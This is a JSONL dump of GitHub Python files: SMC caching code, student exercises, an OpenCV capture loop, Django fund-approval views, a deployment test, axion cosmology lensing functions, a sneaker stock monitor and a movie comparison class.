+{"seq_id":"1519151332","text":"\"\"\"\nCaching methods for SMC\n\n\"\"\"\n\nimport logging\nimport os\nfrom hashlib import md5\nimport pickle\nfrom g4l.context_tree import ContextTree\n\n\ndef load_cache(estimator, X):\n    \"\"\"\n    Loads previously estimated context trees from file. The result\n    folder is unique for each set of SMC parameters (epsilon and\n    penalty interval) and sample.\n\n    Parameters\n    ----------\n    estimator : g4l.estimators.SMC\n        The resulting context tree\n    X : g4l.data.Sample\n        A sample\n\n    \"\"\"\n    cache_folder, cachefile = cache_file(estimator, X)\n    try:\n        with open(cachefile, 'rb') as f:\n            dic = pickle.load(f)\n        print(\"Loaded from cache\")\n    except FileNotFoundError:\n        return False\n    estimator.max_depth = dic['max_depth']\n    estimator.penalty_interval = dic['penalty_interval']\n    estimator.epsilon = dic['epsilon']\n    estimator.cache_dir = dic['cache_dir']\n    estimator.thresholds = dic['thresholds']\n    estimator.context_trees = []\n    for i in range(dic['context_trees']):\n        t = ContextTree.load_from_file('%s/%s.tree' % (cache_folder, i))\n        estimator.context_trees.append(t)\n    return True\n\n\ndef cache_file(estimator, X):\n    \"\"\"\n    Loads previously estimated context trees from file. The result\n    folder is unique for each set of SMC parameters (epsilon and\n    penalty interval) and sample.\n\n    Parameters\n    ----------\n    estimator : g4l.estimators.SMC\n        The resulting context tree\n    X : g4l.data.Sample\n        A sample\n\n    \"\"\"\n    strg = 'SMC%s%s%s' % (X.data,\n                          estimator.penalty_interval,\n                          estimator.epsilon)\n    cachefile = hashstr(strg)\n    cachefile = '%s/%s/params.pkl' % (estimator.cache_dir, cachefile)\n    folder = os.path.dirname(cachefile)\n    return folder, cachefile\n\n\ndef save_cache(estimator, X):\n    \"\"\"\n    Persists estimated context trees into a cache folder\n\n    Parameters\n    ----------\n    estimator : g4l.estimators.SMC\n        The resulting context tree\n    X : g4l.data.Sample\n        A sample\n\n    \"\"\"\n    folder, cachefile = cache_file(estimator, X)\n    logging.info(\"Cached in folder %s\" % folder)\n    os.makedirs(folder, exist_ok=True)\n    dic = {'max_depth': X.max_depth,\n           'penalty_interval': estimator.penalty_interval,\n           'epsilon': estimator.epsilon,\n           'cache_dir': estimator.cache_dir,\n           'thresholds': estimator.thresholds,\n           'context_trees': len(estimator.context_trees)}\n    with open(cachefile, 'wb') as f:\n        pickle.dump(dic, f)\n    for i, t in enumerate(estimator.context_trees):\n        t.save('%s/%s.tree' % (folder, i))\n\n\ndef hashstr(strg):\n    return md5((strg).encode('utf-8')).hexdigest()\n\n\n# def clean_cache(estimator):\n#     if estimator.cache_dir is not None:\n#         estimator.cache_dir.cleanup()\n","repo_name":"neuromat/smallest_maximizer_criterion","sub_path":"g4l/util/caching/smc.py","file_name":"smc.py","file_ext":"py","file_size_in_byte":2829,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"7209773619","text":"# Паншин Сергей ИУ7-13Б\n\n# Программа, которая по введенным целочисленным\n# координатам трех точек на плоскости вычисляет длины сторон\n# образованного треугольника и длину высоты, проведенной из\n# наибольшего угла.\n# И определяет, является ли треугольник равнобедренным.\n#\n# Далее вводятся координаты точки. Определяется, находится ли\n# точка внутри треугольника. Если да, то находится расстояние\n# от точки до ближайшей стороны треугольника.\n\nimport math as m\n\nxa, ya = map(int, input('Введите координаты первой точки: ').split())\nxb, yb = map(int, input('Введите координаты второй точки: ').split())\nxc, yc = map(int, input('Введите координаты третьей точки: ').split())\n\n# координаты векторов составляющих треугольник\nab_coords_x = (xb - xa)\nab_coords_y = (yb - ya)\nac_coords_x = (xc - xa)\nac_coords_y = (yc - ya)\nbc_coords_x = (xc - xb)\nbc_coords_y = (yc - yb)\n\n# длины векторов составляющих треугольник\nlen_ab = m.sqrt(ab_coords_x ** 2 + ab_coords_y ** 2)\nlen_ac = m.sqrt(ac_coords_x ** 2 + ac_coords_y ** 2)\nlen_bc = m.sqrt(bc_coords_x ** 2 + bc_coords_y ** 2)\n\np = (len_ab + len_ac + len_bc) / 2  # полупериметр треугольника\ns = m.sqrt(p * (p - len_ab) * (p - len_ac) * (p - len_bc))  # площадь треугольника\n\nif s == 0:\n    print('Точки лежат на одной прямой, треугольник не существует')\nelse:\n    # угла между векторами составляющих треугольник\n    angle_a = m.cos((ab_coords_x * ac_coords_x + ab_coords_y * ac_coords_y) / (len_ab * len_ac))\n\n    angle_b = m.cos((ab_coords_x * bc_coords_x + ab_coords_y * bc_coords_y) / (len_ab * len_bc))\n\n    angle_c = m.cos((bc_coords_x * ac_coords_x + bc_coords_y * ac_coords_y) / (len_bc * len_ac))\n    if angle_a >= angle_b:\n        max_angle = angle_a\n        side_by_max = len_bc\n    else:\n        max_angle = angle_b\n        side_by_max = len_ac\n\n    if angle_c > max_angle:\n        max_angle = angle_c\n        side_by_max = len_ab\n\n    h = 2 * s / side_by_max  # высота из большого угла треугольника\n\n    print('Длина первой стороны:          {:.7g}'.format(len_ab))\n    print('Длина второй стороны:          {:.7g}'.format(len_bc))\n    print('Длина третьей стороны:         {:.7g}'.format(len_ac))\n    print('Длина высоты из большого угла: {:.7g}'.format(h))\n\n    eps = m.exp(-8)\n\n    if abs(len_ab - len_ac) <= eps or abs(len_ac - len_bc) <= eps or abs(len_bc - len_ab) <= eps:\n        print('Заданный треугольник равнобедренный')\n    else:\n        print('Заданный треугольник не равнобедренный')\n\n    x, y = map(int, input('Введите координаты точки: ').split())\n\n    # векторные произведения\n    dot_vec_comp_1 = (xa - x) * (yb - ya) - (ya - y) * (xb - xa)\n    dot_vec_comp_2 = (xb - x) * (yc - yb) - (yb - y) * (xc - xb)\n    dot_vec_comp_3 = (xc - x) * (ya - yc) - (yc - y) * (xa - xc)\n\n    if dot_vec_comp_1 >= 0 and dot_vec_comp_2 >= 0 and dot_vec_comp_3 >= 0 \\\n            or dot_vec_comp_1 < 0 and dot_vec_comp_2 < 0 and dot_vec_comp_3 < 0:\n        a_dot_vec_coords_x = (x - xa)\n        a_dot_vec_coords_y = (y - ya)\n        b_dot_vec_coords_x = (x - xb)\n        b_dot_vec_coords_y = (y - yb)\n        c_dot_vec_coords_x = (x - xc)\n        c_dot_vec_coords_y = (y - yc)\n        distance_dot_ab = abs(ab_coords_x * a_dot_vec_coords_x\n                              + ab_coords_y * a_dot_vec_coords_y) / len_ab\n\n        distance_dot_bc = abs(bc_coords_x * b_dot_vec_coords_x\n                              + bc_coords_y * b_dot_vec_coords_y) / len_bc\n\n        distance_dot_ac = abs(ac_coords_x * c_dot_vec_coords_x\n                              + ac_coords_y * c_dot_vec_coords_y) / len_ac\n        min_distance = min(distance_dot_ab, distance_dot_bc, distance_dot_ac)\n        if min_distance == 0:\n            print('Точка находится на одной из сторон треугольника')\n        else:\n            print('Точка находится внутри треугольника, '\n                  'растояние до ближайшей стороны '\n                  'треугольника = {:.7g}'.format(min_distance))\n    else:\n        print('Точка не находится внутри треугольника')\n","repo_name":"SerPan23/BMSTU_SEM_1","sub_path":"lab3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4991,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72890891602","text":"import cv2 as cv\nimport os\n\n# # membaca file image lalu object tersebut ditaruh dalam object img\n# img = cv.imread(cv.samples.findFile(\"Video_capture\\\\batu.jpg\"))\n\n# # mengecek apakah image kosong atua tidak\n# if img is None:\n#     sys.exit(\"Cannot read the image\") #keluar\n\n# # menunjukkan hasil gambar\n# cv.imshow(\"Image\", img)\n# k = cv.waitKey(0) # mengecek input\n\n# if k == ord(\"s\"):\n#     # mengesave image\n#    cv.imwrite(\"batuss.png\", img)\n\n\ncam = cv.VideoCapture(0)\nif not cam.isOpened():\n    print(\"Something went wrong\")\n    exit()\n\nhsv = False\n\nwhile True:\n    # capture frame by frame\n    ret, frame = cam.read()\n\n    # if frame is read correctly ret will be true\n    if not ret:\n        print(\"cant receive frame. stop video\")\n        break\n\n    ## our operation on the frame come here\n    # if cv.waitKey(2) == ord('r'):\n    #     if not hsv:\n    gray = cv.cvtColor(frame, cv.COLOR_BGR2HSV)\n        #     hsv = True\n        # else:\n        #     gray = cv.cvtColor(frame, cv.COLOR_BGR2RGB)\n        #     hsv = False\n\n    ## display the result\n    try:\n        cv.imshow('frame', gray)\n    except:\n        cv.imshow('frame', frame)\n\n    if cv.waitKey(1) == ord('q') or cv.getWindowProperty(\"frame\", cv.WND_PROP_VISIBLE) <1:\n        break\n\n# release the capture and destroy windows\ncam.release();\ncv.destroyAllWindows()","repo_name":"royhankamil/python-project","sub_path":"Video_capture/VidCapture.py","file_name":"VidCapture.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"44180202873","text":"mmessage = input(\"Tell me something,and I will repeat it back to you:\")\r\nprint(mmessage)\r\nname = input(\"please enter your name:\")\r\nprint(f\"\\nhello,{name}!\")\r\nprompt = \"if you tell us who you are ,we can personalize the messages you see.\"\r\nprompt += \"\\nWhat is your first name?\"\r\nname_0 = input (prompt)\r\nprint(f\"\\nHello,{name}!\")\r\n\r\n\r\nheight = input(\"How tall are you in inches?\")\r\nheight = int(height)\r\nif height >= 48:\r\n    print(\"\\nYou're tall enought to ride.\")\r\nelse:\r\n    print(\"\\nYou'll be able to ride when you're a little older.\")\r\n\r\n\r\ncurrent_number = 1\r\nwhile current_number <= 5:\r\n    print(current_number)\r\n    current_number += 1;\r\n\r\n\r\nprompt = \"\\nTell me something, and I will repeat it back to you:\"\r\nprompt += \"\\nEnter 'quit' to end the program. \"\r\nmessage = \"\"\r\nwhile message != 'quit':\r\n    message = input(prompt)\r\n    if message != 'quit':\r\n        print(message)\r\n\r\n\r\npo = '\\ntext'\r\npo += '\\ntext'\r\nactive = True\r\nwhile active:\r\n    ms = input(po)\r\n    if ms == 'quit':\r\n        active = False\r\n    else:\r\n        print(ms)\r\n\r\n\r\n\r\ncur_num = 0\r\nwhile cur_num <10:\r\n    cur_num += 1\r\n    if cur_num % 2 ==0:\r\n        continue\r\n    print(cur_num)\r\n\r\n# 首先，创建一个待验证用户列表\r\n # 和一个用于存储已验证用户的空列表。\r\n未完成 = ['alice', 'brian', 'candace']\r\n已完成用户 = []\r\n # 验证每个用户，直到没有未验证用户为止。\r\n # 将每个经过验证的用户都移到已验证用户列表中。\r\nwhile 未完成:\r\n    current_user = 未完成.pop()\r\n    print(f\"Verifying user: {current_user.title()}\")\r\n    已完成用户.append(current_user)\r\n # 显示所有已验证的用户。\r\nprint(\"\\nThe following users have been confirmed:\")\r\nfor confirmed_user in 已完成用户:\r\n    print(confirmed_user.title())\r\n\r\n","repo_name":"skyzshui/leaning-thing-1.0.1.0","sub_path":"use.py","file_name":"use.py","file_ext":"py","file_size_in_byte":1787,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"23665396696","text":"from django.shortcuts import render,redirect\nfrom django.contrib.auth.models import User\nfrom profile_app.models import Requested_Fund,Fund\nfrom django.contrib.auth.decorators import login_required\n\n\n# Create your views here.\n\n@login_required\ndef admin_page(request):\n\n\treturn render(request,'admin_templates/index.html')\n\ndef send_funds(request):\n    rqs = Requested_Fund.objects.all\n    print(\"Data aa gya hai\")\n    d = {\n    \t'rqs' : rqs,\n    }\n    return render(request,'admin_templates/send_funds.html',d)\n\n\ndef update_funds(request,user_name,fund,i_d):\n\n\tobj1 = User.objects.get(username=user_name)\n\tobj = Fund.objects.get(user = obj1 )\n\tRequested_Fund_obj = Requested_Fund.objects.get(id = i_d)\n\n\tobj.avail_fund += fund\n\tif Requested_Fund_obj.status == \"Pending\":\n\t\tRequested_Fund_obj.status = \"Approved\"\n\n\tobj.save()\n\tRequested_Fund_obj.save()\n\n\treturn redirect('send_funds')\n\t\n\t\n\n\td= {\n\n\t}\n\t\n\treturn render(request,'admin_templates/update_funds.html',d)\n\ndef cancel_funds(request,user_name,fund,i_d):\n\tRequested_Fund_obj = Requested_Fund.objects.get(id = i_d)\n\tif Requested_Fund_obj.status == \"Pending\":\n\t\tRequested_Fund_obj.status = \"Cancelled\"\n\n\tRequested_Fund_obj.save()\n\n\treturn redirect('send_funds')\n\treturn render(request,'admin_templates/cancel_funds.html')\n","repo_name":"Kat001/MLM_Django_project","sub_path":"admin_panel/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29183926317","text":"import logging\n\nimport pytest\nfrom infra.dctl.src.lib import stage\nfrom collections import namedtuple\n\nimport time\nimport utils\n\n\nStageTimestamps = namedtuple('StageTimestamps', ['spec', 'target_spec', 'ready'])\n\n\n@pytest.fixture(scope='function')\ndef stage_name(suffix_fixture):\n    return 'redeploy-' + suffix_fixture\n\n\ndef test_redeploy_restart(yp_cluster, stage_name, stage_spec, stage_fixture, yp_client_fixture, yp_xdc_client_fixture):\n    logging.info('---Redeploy test start----')\n\n    assert stage.get(stage_name, yp_xdc_client_fixture)\n    assert utils.wait_for_stage_readiness(stage_name, yp_xdc_client_fixture)\n    assert utils.wait_for_pod_readiness(stage_name + '.DeployUnit1', {yp_cluster: yp_client_fixture}, 1)\n\n    stage_data = stage.get(stage_name, yp_xdc_client_fixture)\n    assert stage_data\n    stage_data\n    logging.info('stage data: %s ', stage_data.status.deploy_units['DeployUnit1'].ready)\n\n    origin_ts = _get_timestamps(stage_data)\n\n    # update spec timestamp\n    stage.put(stage_data, yp_cluster, None, None, None, yp_xdc_client_fixture)\n    assert utils.wait_for_stage_readiness(stage_name, yp_xdc_client_fixture, revision=2)\n\n    updated_stage_data = stage.get(stage_name, yp_xdc_client_fixture)\n\n    while _get_timestamps(updated_stage_data).spec == origin_ts.spec:\n        updated_stage_data = stage.get(stage_name, yp_xdc_client_fixture)\n        time.sleep(0.5)\n\n    logging.info('updated stage data: %s ', updated_stage_data.status.deploy_units['DeployUnit1'].ready)\n    updated_ts = _get_timestamps(updated_stage_data)\n    assert updated_ts.spec != origin_ts.spec\n    assert updated_ts.ready.seconds == origin_ts.ready.seconds\n    logging.info('----Redeploy test end----')\n\n\ndef _get_timestamps(stage_data, du_name='DeployUnit1'):\n    ready_timestamp = stage_data.status.deploy_units[du_name].ready.last_transition_time\n    target_spec_timestamp = stage_data.status.deploy_units[du_name].target_spec_timestamp\n    spec_timestamp = stage_data.status.spec_timestamp\n    return StageTimestamps(spec_timestamp, target_spec_timestamp, ready_timestamp)\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"infra/tests/test_redeploy_restart.py","file_name":"test_redeploy_restart.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29765980368","text":"# Composite code\n# Run axionHMCode and axionCAMB\n# Calculate the lensing from linear\n# and non-linear power spectra\n# Note: Need modified axionCAMB which outputs the Weyl potential\n# Also need the (regular) camb package for cosmological calculations\n\n# Regular imports\nimport numpy as np\nfrom scipy.interpolate import interp1d, RectBivariateSpline\n\n# Camb import\nimport camb\nfrom camb import correlations\n\n# Import axionHMCode\nimport sys\nimport os\nhmcode_path = '/home/r/rbond/alague/scratch/mdm_halo_model/axionHMcode/'\nsys.path.append(hmcode_path + 'axionCAMB_and_lin_PS/')\nsys.path.append(hmcode_path + 'cosmology/')\nsys.path.append(hmcode_path + 'axion_functions/')\nsys.path.append(hmcode_path + 'halo_model/')\nsys.path.append(hmcode_path)\nfrom axionCAMB_and_lin_PS import axionCAMB_wrapper \nfrom axionCAMB_and_lin_PS import load_cosmology  \nfrom axionCAMB_and_lin_PS import lin_power_spectrum \nfrom axionCAMB_and_lin_PS import PS_interpolate \n\nfrom halo_model import HMcode_params\nfrom halo_model import PS_nonlin_cold\nfrom halo_model import PS_nonlin_axion\n\nfrom axion_functions import axion_params\n\n\ndef get_limber_clkk_flat_universe(results, interp_pk, lmax, kmax, nz, zsrc=None):\n    # Adapting code from Antony Lewis' CAMB notebook\n    if zsrc is None:\n        chistar = results.conformal_time(0)- results.tau_maxvis\n    else:\n        chistar = results.comoving_radial_distance(zsrc)\n    chis = np.linspace(0,chistar,nz)\n    zs=results.redshift_at_comoving_radial_distance(chis)\n    dchis = (chis[2:]-chis[:-2])/2\n    chis = chis[1:-1]\n    zs = zs[1:-1]\n    \n    #Get lensing window function (flat universe)\n    win = ((chistar-chis)/(chis**2*chistar))**2\n    #Do integral over chi\n    ls = np.arange(0,lmax+2, dtype=np.float64)\n    cl_kappa=np.zeros(ls.shape)\n    w = np.ones(chis.shape) #this is just used to set to zero \n                            # k values out of range of interpolation\n    for i, l in enumerate(ls[2:]):\n        k=(l+0.5)/chis\n        w[:]=1\n        w[k<1e-4]=0\n        w[k>=kmax]=0\n        cl_kappa[i+2] = np.dot(dchis, w*interp_pk(zs, k, grid=False)*win/k**4)\n    cl_kappa*= (ls*(ls+1))**2\n    return cl_kappa\n\n\ndef do_non_linear_lensing(H0, omch2, ombh2, As, ns, m_ax, omaxh2, zs, T_path):\n    '''\n    Compute the non-linear matter power spectra, lensed cls, and lensing potential using axionHMCode\n    \n    Inputs:\n    first five inputs are the regular cosmological parameters\n    m_ax, omaxh2 are the axion parameters (mass in eV and relic density)\n    zs are the redshifts (must be increasing)\n    T_path is the directory where the previously generated transfer functions are (same redshifts as zs)\n    \n    Outputs:\n    lensing potential cls\n    '''\n    \n    # Initialize parameters\n    cosmos = {}\n    \n    cosmos['As'] = As\n    cosmos['ns'] = ns\n    cosmos['h'] = H0 / 100\n    cosmos['omega_b_0'] = ombh2\n    cosmos['omega_d_0'] = omch2 # unconventional notation!!\n    cosmos['omega_ax_0'] = omaxh2\n    cosmos['m_ax'] = m_ax\n    cosmos['omega_db_0'] = cosmos['omega_b_0'] + cosmos['omega_d_0']\n    cosmos['omega_m_0'] = cosmos['omega_db_0'] + cosmos['omega_ax_0']\n\n    cosmos['Omega_b_0']     = cosmos['omega_b_0'] / cosmos['h']**2\n    cosmos['Omega_d_0']     = cosmos['omega_d_0'] / cosmos['h']**2\n    cosmos['Omega_db_0']    = cosmos['omega_db_0'] / cosmos['h']**2\n    cosmos['Omega_ax_0']    = cosmos['omega_ax_0'] / cosmos['h']**2\n    cosmos['Omega_m_0']     = cosmos['omega_m_0'] / cosmos['h']**2\n    cosmos['Omega_w_0']     = 1 - cosmos['Omega_m_0']\n\n    cosmos['M_min'] = 7\n    cosmos['M_max'] = 18\n    cosmos['k_piv'] = 0.05\n    cosmos['z']     = 0.\n    cosmos['transfer_kmax'] = 20\n\n    # Compute camb background cosmology\n    pars = camb.CAMBparams()\n    pars.set_cosmology(H0=H0, ombh2=ombh2, omch2=(omch2+omaxh2), mnu=0.06, omk=0) # account for axion DM\n    r = camb.get_background(pars)\n\n    # Read in Tk and Weyl potential\n    weyl_trans_list = []\n    kh_trans_list   = []\n    for i in range(1, len(zs)+1)[::-1]:\n        Tk = np.loadtxt(T_path+str(i)+'.dat')\n        kh_trans_list.append(Tk[:,0])\n        weyl_trans_list.append(Tk[:,-2])\n    \n    kh_trans_list = np.array(kh_trans_list)\n    weyl_trans_list = np.array(weyl_trans_list)\n\n    # Weyl Pk from primordial Pk\n    h = cosmos['h']\n    kh = kh_trans_list[0]\n    k = kh * h\n    Pk0 = As * (k/0.05)**(ns-1)*kh**4 / (kh**3/(2*np.pi**2)) *h\n    weyl_Pk_lin = Pk0 * weyl_trans_list**2\n    \n    # Compute non-linear using axionHMCode\n    PkL_list = []\n    PkNL_list = []\n    M_arr = np.logspace(8, 17, 100)\n    \n    for i in range(len(zs)):\n        cosmos_specific_z = cosmos.copy()\n        cosmos_specific_z['z'] = zs[i]\n    \n        power_spec_dic = lin_power_spectrum.func_power_spec_dic(T_path + str(i+1)+'.dat',\n                                                                          cosmos_specific_z)\n        \n        PkL_list.append(power_spec_dic['power_total'])\n        if zs[i] >= 6.5:\n            PkNL_list.append(power_spec_dic['power_total'])\n        \n        else:\n            power_spec_interp_dic = lin_power_spectrum.func_power_spec_interp_dic(power_spec_dic, \n                                                                                        cosmos_specific_z)\n            hmcode_params = HMcode_params.HMCode_param_dic(cosmos, \n                                                           power_spec_interp_dic['k'], \n                                                           power_spec_interp_dic['cold'])\n        \n            axion_param = axion_params.func_axion_param_dic(M_arr, cosmos, power_spec_interp_dic, eta_given=False)\n            PS_matter_nonlin = PS_nonlin_axion.func_full_halo_model_ax(M_arr, \n                                                                       power_spec_dic, \n                                                                       power_spec_interp_dic, \n                                                                       cosmos, \n                                                                       hmcode_params, \n                                                                       axion_param, \n                                                                       alpha = True, \n                                                                       eta_given = False, \n                                                                       one_halo_damping = True, \n                                                                       two_halo_damping = True)\n            PkNL_list.append(PS_matter_nonlin[0])\n    \n    # Non-linear transfer function\n    PkL_list = np.array(PkL_list[::-1])\n    PkNL_list = np.array(PkNL_list[::-1])\n\n    TkNL2 = PkNL_list/PkL_list\n        \n    # Create interpolator for Limber integral\n    P_weyl_NL = RectBivariateSpline(zs, k, TkNL2 * weyl_Pk_lin)\n    \n    # Perform Limber integral\n    clkk_NL = get_limber_clkk_flat_universe(r, P_weyl_NL, 6300, cosmos['transfer_kmax'], 100, zsrc=None)\n    \n    # Change to phi\n    clpp_NL = 4*clkk_NL/2/np.pi\n    \n    return clpp_NL\n    \n\ndef do_nonlinear_pk(H0, omch2, ombh2, As, ns, m_ax, omaxh2, z, T_path):\n    '''\n    Compute non-linear power spectrum from linear transfer functions\n    same parameters as do_nonlinear_lensing except for Cls\n    return single Pk\n    '''\n        \n    #Initialize parameters\n    cosmos = {}\n\n    cosmos['As'] = As\n    cosmos['ns'] = ns\n    cosmos['h'] = H0 / 100\n    cosmos['omega_b_0'] = ombh2\n    cosmos['omega_d_0'] = omch2 # unconventional notation!!\n    cosmos['omega_ax_0'] = omaxh2\n    cosmos['m_ax'] = m_ax\n    cosmos['omega_db_0'] = cosmos['omega_b_0'] + cosmos['omega_d_0']\n    cosmos['omega_m_0'] = cosmos['omega_db_0'] + cosmos['omega_ax_0']\n\n    cosmos['Omega_b_0']     = cosmos['omega_b_0'] / cosmos['h']**2\n    cosmos['Omega_d_0']     = cosmos['omega_d_0'] / cosmos['h']**2\n    cosmos['Omega_db_0']    = cosmos['omega_db_0'] / cosmos['h']**2\n    cosmos['Omega_m_0']     = cosmos['omega_m_0'] / cosmos['h']**2\n    cosmos['Omega_w_0']     = 1 - cosmos['Omega_m_0']\n\n    cosmos['M_min'] = 7\n    cosmos['M_max'] = 18\n    cosmos['k_piv'] = 0.05\n    cosmos['z']     = z\n    cosmos['transfer_kmax'] = 20\n\n\n    power_spec_dic = lin_power_spectrum.func_power_spec_dic(T_path + '.dat', cosmos)\n    power_spec_interp_dic = lin_power_spectrum.func_power_spec_interp_dic(power_spec_dic, cosmos)\n    hmcode_params = HMcode_params.HMCode_param_dic(cosmos,\n                                                   power_spec_interp_dic['k'],\n                                                   power_spec_interp_dic['cold'])\n\n    PS_matter_nonlin = PS_nonlin_axion.full_halo_model_ax(M_arr,\n                                                          power_spec_dic['k'],\n                                                          power_spec_dic['power_total'],\n                                                          power_spec_interp_dic['k'],\n                                                          power_spec_interp_dic['cold'],\n                                                          cosmos_specific_z,\n                                                          hmcode_params,\n                                                          cosmos['Omega_m_0'],\n                                                          cosmos['Omega_db_0'],\n                                                          alpha = True,\n                                                          eta_given = False,\n                                                          one_halo_damping = True,\n                                                          two_halo_damping = True)\n    return PS_matter_nonlin[0]\n","repo_name":"alexlague/axionEmu","sub_path":"nonlinear/nonlinear_functions.py","file_name":"nonlinear_functions.py","file_ext":"py","file_size_in_byte":9579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"75217138962","text":"import os\nimport sys\nimport time\nimport six\nimport pause\nimport ssl\nimport argparse\nimport logging.config\nimport smtplib\nfrom selenium import webdriver\nfrom dateutil import parser as date_parser\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.common.exceptions import NoSuchElementException \nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver import ActionChains\n\nlogging.config.dictConfig({\n    \"version\": 1,\n    \"disable_existing_loggers\": False,\n    \"formatters\": {\n        \"default\": {\n            \"format\": \"%(asctime)s [PID %(process)d] [Thread %(thread)d] [%(levelname)s] [%(name)s] %(message)s\"\n        }\n    },\n    \"handlers\": {\n        \"console\": {\n            \"class\": \"logging.StreamHandler\",\n            \"level\": \"INFO\",\n            \"formatter\": \"default\",\n            \"stream\": \"ext://sys.stdout\"\n        }\n    },\n    \"root\": {\n        \"level\": \"INFO\",\n        \"handlers\": [\n            \"console\"\n        ]\n    }\n})\n\nLOGGER = logging.getLogger()\n\ndef run(driver, url):\n    driver.maximize_window()\n    gmail_user = \"monitorbar97@gmail.com\"\n    gmail_password = \"passsssssss\"\n    sent_from = gmail_user\n    to = \"email@emaul.com\"\n    email_text = \"Le SNEAKERS SONO ONLINE\\n\" + url\n    to = ['youremail@email.com']\n    while True:\n        try:\n            LOGGER.info(\"Requesting page: \" + url)\n            driver.get(url)\n        except TimeoutException:\n            LOGGER.info(\"Page load timed out but continuing anyway\")\n        #res = check_exists_by_xpath(\"//a[@data-sold-out='false']\")\n        res = check_exists_by_xpath(\"//b[@class='button sold-out']\")\n        if res == False:\n            LOGGER.info(\"INSTOCK\")\n            #SENDMAIL OR NOTIFY\n            server = smtplib.SMTP('smtp.gmail.com', 587)\n            server.ehlo()\n            context = ssl.create_default_context()\n            server.starttls(context=context)\n            server.ehlo()\n            server.login(gmail_user, gmail_password)\n            server.sendmail(sent_from, to, email_text)\n            server.quit()\n            LOGGER.info(\"Email sent\")\n            break\n        else:\n            LOGGER.info(\"SOLDOUT\")\n        time.sleep(10)\n    driver.quit()\n\n\ndef check_exists_by_xpath(xpath):\n    try:\n        driver.find_element_by_xpath(xpath)\n    except NoSuchElementException:\n        return False\n    return True\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--url\", default=\"https://www.supremenewyork.com/shop/shoes/ndrgpvxhm/cxypn34k5\")\n    parser.add_argument(\"--driver-type\", default=\"firefox\", choices=(\"firefox\", \"chrome\"))\n    parser.add_argument(\"--headless\", action=\"store_true\")\n    args = parser.parse_args()\n\n    driver = None\n    if args.driver_type == \"firefox\":\n        options = webdriver.FirefoxOptions()\n        if args.headless:\n            options.add_argument(\"--headless\")\n        if sys.platform == \"darwin\":\n            executable_path = \"./bin/geckodriver_mac\"\n        elif \"linux\" in sys.platform:\n            executable_path = \"./bin/geckodriver_linux\"\n        else:\n            raise Exception(\"Unsupported operating system. Please add your own Selenium driver for it.\")\n        driver = webdriver.Firefox(executable_path=executable_path, firefox_options=options, log_path=os.devnull)\n    elif args.driver_type == \"chrome\":\n        options = webdriver.ChromeOptions()\n        if args.headless:\n            options.add_argument(\"headless\")\n        if sys.platform == \"darwin\":\n            executable_path = \"./bin/chromedriver_mac\"\n        elif \"linux\" in sys.platform:\n            executable_path = \"./bin/chromedriver_linux\"\n        else:\n            raise Exception(\"Unsupported operating system. Please add your own Selenium driver for it.\")\n        driver = webdriver.Chrome(executable_path=executable_path, chrome_options=options)\n\n    run(driver=driver, url=args.url)\n","repo_name":"Auronus92/SupremeApparelMonitor","sub_path":"supreme_monitor.py","file_name":"supreme_monitor.py","file_ext":"py","file_size_in_byte":4056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19861325050","text":"from datetime import datetime, timedelta\n\nclass Movie:\n\n    class MovieCompare:\n        def __init__(self, title_eq, director_eq, time_diff, runtime_diff, rating_diff, box_office_diff):\n            self.title_eq = title_eq\n            self.director_eq = director_eq\n            self.time_diff = time_diff\n            self.runtime_diff = runtime_diff\n            self.rating_diff = rating_diff\n            self.box_office_diff = box_office_diff\n\n        def jsonify(self):\n            return {\"TitleEquality\": self.title_eq,\n                    \"DirectorEquality\": self.director_eq,\n                    \"ReleaseDateDifference\": self.time_diff,\n                    \"RuntimeDifference\": self.runtime_diff,\n                    \"imdbRatingDifference\": self.rating_diff,\n                    \"BoxOfficeDifference\": self.box_office_diff\n                    }\n\n    def __init__(self, title, director, release_date, runtime, imdb_rating, box_office):\n        self.title = title\n        self.director = director\n        self.release_date = release_date\n        self.runtime = runtime\n        self.imdb_rating = imdb_rating\n        self.box_office = box_office\n\n    def jsonify(self):\n        return {\"Title\": self.title,\n                \"Director\": self.director,\n                \"ReleaseDate\": self.release_date,\n                \"Runtime\": self.runtime,\n                \"imdbRating\": self.imdb_rating,\n                \"BoxOfficeGross\": self.box_office }\n\n    def __eq__(self, other):\n        self.compared = self.MovieCompare(\n            self.title == other.title,\n            self.director == other.director,\n            (self.release_date - other.release_date).total_seconds()/86400,\n            self.runtime - other.runtime,\n            self.imdb_rating - other.imdb_rating,\n            self.box_office - other.box_office\n        )\n        return self.compared\n","repo_name":"nathank77/wordle","sub_path":"backend/app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
